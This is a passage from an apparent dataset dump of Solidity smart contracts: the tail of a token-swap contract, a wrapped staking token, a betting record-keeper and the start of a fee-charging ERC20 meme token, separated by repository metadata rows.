(uint amount0Out, uint amount1Out) = path[i] == token0 ? (uint(0), amount) : (amount, uint(0));
address to = i < pairs.length - 1 ? pairs[i+1] : address(this);
IUniswapV2Pair(pairs[i]).swap(amount0Out , amount1Out, to, new bytes(0));
if(path[i+1] == WAVAX){
IWAVAX(WAVAX).withdraw(IAVAX20(WAVAX).balanceOf(address(this)));
}
}
require(msg.sender == owner);
}
function withdraw(uint256 amount) public{
require(msg.sender == owner);
owner.transfer(amount);
}
function withdrawToken(uint256 amount , address token) public{
require(msg.sender == owner);
IAVAX20(token).transfer(owner ,amount);
}
function calculate(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// fetches and sorts the reserves for a pair
function getReserves(address pair, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pair).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountOut(address[] memory path , address[] memory pairs , uint256 amount) internal view returns (uint amountOut) {
amountOut = amount;
for (uint i ; i < pairs.length ; i++) {
(uint reserveIn, uint reserveOut) = getReserves(pairs[i] , path[i] , path[i+1]);
amountOut = calculate(amountOut, reserveIn, reserveOut);
}
}
}
| 111,931 | 13,118 |
00995cbaa9887d3fe65423681defe399587da3c793cf3190eaec9f840fbd02ac
| 30,289 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/6a/6a7BF6F7A9Ae231Bc95ca61dac61Dba3b095e1F0_WrappedStakingToken.sol
| 3,249 | 12,613 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsGIZA {
function index() external view returns (uint);
}
contract WrappedStakingToken is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sGIZA;
constructor(address _sGIZA) ERC20('Wrapped sGIZA', 'wsGIZA') {
require(_sGIZA != address(0));
sGIZA = _sGIZA;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sGIZA).transferFrom(msg.sender, address(this), _amount);
uint value = sGIZATowsGIZA(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wsGIZATosGIZA(_amount);
IERC20(sGIZA).transfer(msg.sender, value);
return value;
}
function wsGIZATosGIZA(uint _amount) public view returns (uint) {
return _amount.mul(IsGIZA(sGIZA).index()).div(10 ** decimals());
}
function sGIZATowsGIZA(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IsGIZA(sGIZA).index());
}
}
| 327,806 | 13,119 |
d6f6b27ae7b2365ee284eadc4c8ce78fea7d29548638003664f9c8fab3063e54
| 19,178 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x3E8231c631E7Edf9F2Bd153d2B43c64b7D330cca/contract.sol
| 4,597 | 15,747 |
//"SPDX-License-Identifier: MIT"
pragma solidity ^0.8.1;
//sol800
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
//sol800
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//sol8.0.0
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//sol8.0.0
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
//function sendValue(address payable recipient, uint256 amount) internal {...}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
// functionStaticCall x2
// functionDelegateCall x2
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//---------------------==
//sol8.0.0
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
// function safeApprove(IERC20 token, address spender, uint256 value) internal {
// require((value == 0) || (token.allowance(address(this), spender) == 0),
// "SafeERC20: approve from non-zero to non-zero allowance"
//);
// _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
// }
// function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
// uint256 newAllowance = token.allowance(address(this), spender) + value;
// }
// function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
// unchecked {
// uint256 oldAllowance = token.allowance(address(this), spender);
// require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
// uint256 newAllowance = oldAllowance - value;
// }
// }
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
// function add(uint256 a, uint256 b) internal pure returns (uint256) {
// uint256 c = a + b;
// require(c >= a, "SafeMath: addition overflow");
// return c;
// }
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
}
interface IPriceBetting {
struct Bet {
address addr;
uint256 betAt; //time this bet was recorded
uint256 amount; //amount of betting
uint256 period; //in seconds
uint256 assetPair; //0 BTC, 1 ETH
uint256 priceAtBet;
uint256 bettingOutcome;
uint256 fundingSource;
uint256 settledAt;
uint256 settledPrice;
int256 result;
}
function betsP2(uint256 idx) external view returns (Bet memory bet);
function betsP1(uint256 idx) external view returns (Bet memory bet);
}
//openzeppelin 3.3
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
abstract contract Administration is Ownable {
address private admin;
event AccountTransferred(address indexed previousAccount,
address indexed newAccount);
constructor() {
admin = _msgSender();
}
modifier onlyAdmin() {
require(_msgSender() == admin, "Caller is not admin");
_;
}
function isOnlyAdmin() public view returns (bool) {
return _msgSender() == admin;
}
function transferAdmin(address newAdmin) external onlyOwner {
require(newAdmin != address(0), "cannot be zero address");
emit AccountTransferred(admin, newAdmin);
admin = newAdmin;
}
}
contract PriceBettingUserRecord is Administration {
using SafeMath for uint256;
using Math for uint256;
using Address for address;
mapping(address => Account) public accounts;
//accounts[user]
struct Account {
uint256 cidxP2;
uint256 cidxP1;
uint256 uidxP2;
uint256 uidxP1;
mapping (uint256 => uint256) idxesAP2;
mapping (uint256 => uint256) idxesAP1;
mapping (uint256 => uint256) idxesBP2;
mapping (uint256 => uint256) idxesBP1;
}
uint256 public period1 = 900;
uint256 public period2 = 1800;
address public addrPriceBetting;
uint256 public maxOutLen = 50;
constructor() {
addrPriceBetting = address(0x946877CDF7e4E8973FD4D5754A3EE22479ACccB8);
}
modifier onlyContract() {
require(msg.sender == addrPriceBetting, "not authorized contract");
_;
}
function getAccountCCUU(address user) external view returns (uint256, uint256, uint256, uint256) {
Account storage account = accounts[user];
return (account.cidxP2, account.cidxP1, account.uidxP2, account.uidxP1);
}
function getAccountCU(address user, uint256 period) public view returns (uint256 cidx, uint256 uidx) {
Account storage account = accounts[user];
if (period == period2) {
cidx = account.cidxP2;
uidx = account.uidxP2;
} else if (period == period1) {
cidx = account.cidxP1;
uidx = account.uidxP1;
}
}
//--------------------== onlyAdmin settings
function setSettings(uint256 option, address addr, uint256 uintNum) external onlyAdmin {
if(option == 101){
period1 = uintNum;
} else if(option == 102){
period2 = uintNum;
} else if(option == 121){
require(uintNum > 0, "cannot be zero length");
maxOutLen = uintNum;
} else if(option == 122){
addrPriceBetting = addr;
}
}
//--------------------== Public functions
function addBet(address user, uint256 period, uint256 idx) external onlyContract {
Account storage account = accounts[user];
uint256 cidxNew;
if (period == period2) {
cidxNew = account.cidxP2 + 1;
accounts[user].cidxP2 = cidxNew;
accounts[user].idxesAP2[cidxNew] = idx;
accounts[user].idxesBP2[idx] = cidxNew;
} else if (period == period1) {
cidxNew = account.cidxP1 + 1;
accounts[user].cidxP1 = cidxNew;
accounts[user].idxesAP1[cidxNew] = idx;
accounts[user].idxesBP1[idx] = cidxNew;
}
//console.log("[sc] addbet. idx:", idx, ", cidxNew:", cidxNew);
}
function updateBet(address user, uint256 period, uint256 idx) external onlyContract {
Account storage account = accounts[user];
uint256 idxB;
if (period == period2) {
idxB = account.idxesBP2[idx];
accounts[user].uidxP2 = idxB;
} else if (period == period1) {
idxB = account.idxesBP1[idx];
accounts[user].uidxP1 = idxB;
}
//console.log("[sc] updateBet");
}
function getBetsCheck(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view returns (address userOut,
bool[] memory bools,
uint256[] memory uintsInputs,
uint256[] memory pmt, bool boolOut)
{// uint256[] cidx2, uint256 uidx2, uint256 idxStart2, uint256 len2
//console.log("sc getBetsCheck1");
userOut = user;
pmt = new uint256[](4);
uintsInputs = new uint256[](4);
uintsInputs[0] = period;
uintsInputs[1] = idxStart;
uintsInputs[2] = outLength;
uintsInputs[3] = option;
//console.log("sc getBetsCheck2");
bools = new bool[](5);
bools[0] = user != address(0);
bools[1] = period == period2 || period == period1;
//console.log("sc getBetsCheck3:", bools[0], bools[1]);
(uint256 cidx, uint256 uidx) = getAccountCU(user, period);
//console.log("sc getBetsCheck4:", cidx, uidx);
pmt[0] = cidx;
pmt[1] = uidx;
pmt[2] = idxStart;
//console.log("sc getBetsCheck5:", pmt[0], pmt[1], pmt[2]);
bools[2] = option < 2;
bools[3] = outLength > 0;
bools[4] = true;//we will auto correct idxStart and idxEnd and length!
//console.log("sc getBetsCheck6:", bools[2], bools[3]);
//pmt[2]...fix both idxStart and length
if(idxStart > cidx) {
pmt[2] = 0;
}
if(option == 0 && pmt[2] == 0){
// historical trades and idxStart == 0
if(uidx < 21) {
pmt[2] = 1;
} else {
pmt[2] = uidx.sub(20);
}
} else if(option == 1 && pmt[2] <= uidx) {
// active trades and idxStart <= uidx
pmt[2] = uidx + 1;
// active uncleared bets
} else {}
//console.log("sc getBetsCheck pmt[2]", pmt[2]);
//pmt[3] ... output Length;
if(option == 0){
//historical trades: exclude active trade
pmt[3] = outLength.min(uidx.sub(pmt[2]) + 1);
} else if(option == 1){
pmt[3] = outLength.min(cidx.sub(pmt[2]) + 1);
}
if(pmt[3] > maxOutLen) pmt[3] = maxOutLen;
//console.log("sc getBetsCheck pmt[3]", pmt[3]);
boolOut = bools[0] && bools[1] && bools[2] && bools[3] && bools[4];
}
// userAddr -> bet indexes: cleared or not
function getBetIndexes(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (uint256[] memory idxesOut, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2)
{
(, , , uint256[] memory pmt, bool boolOut) = getBetsCheck(user, period, idxStart, outLength, option);
require(boolOut, "invalid input detected");
cidx2 = pmt[0];
uidx2 = pmt[1];
idxStart2 = pmt[2];
//len = pmt[3];
uint256 idx;
idxesOut = new uint256[](pmt[3]);
idxLast2 = (idxStart2 + pmt[3]).sub(1);
if (period == period2) {
for (uint i = 0; i < pmt[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesAP2[idx];
}
} else if (period == period1) {
for (uint i = 0; i < pmt[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesAP1[idx];
}
}
}
// userAddr -> bets: cleared or not
function getBetterBets(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (IPriceBetting.Bet[] memory betsOut, uint256 cidx3, uint256 uidx3, uint256 idxStart3, uint256 idxLast3)
{
(uint256[] memory indexes, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2) = getBetIndexes(user, period, idxStart, outLength, option);
cidx3 = cidx2;
uidx3 = uidx2;
idxStart3 = idxStart2;
idxLast3 = idxLast2;
IPriceBetting PriceBetting = IPriceBetting(addrPriceBetting);
betsOut = new IPriceBetting.Bet[](indexes.length);
if (period == period2) {
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.betsP2(indexes[i]);
}
} else if (period == period1) {
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.betsP1(indexes[i]);
}
}
}
}
| 257,405 | 13,120 |
f93d8226c0035fe35e39e0f9f3257ae23d195fe257e288fde798187cd1678586
| 14,317 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/cf/cf9de33e887316d7f33a79b96837691a814b5dc0_LindaYaccarino.sol
| 3,750 | 13,444 |
pragma solidity 0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LindaYaccarino is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) public bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public lBlock = 0;
uint256 private dBlocks = 0;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _initialTax;
uint256 private _finalTax;
uint256 private _reduceTaxCountdown;
address payable private _feeAddrWallet;
string private constant _name = "Linda Yaccarino";
string private constant _symbol = unicode"LINDA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = 1_000_000 * 10**9;
uint256 private _maxWalletSize = 20_000 * 10**9;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
_initialTax=15;
_finalTax=0;
_reduceTaxCountdown=30;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to], "Blacklisted.");
_feeAddr1 = 0;
_feeAddr2 = (_reduceTaxCountdown==0)?_finalTax:_initialTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_reduceTaxCountdown>0){_reduceTaxCountdown--;}
if (block.number <= (lBlock + dBlocks)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}else{
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
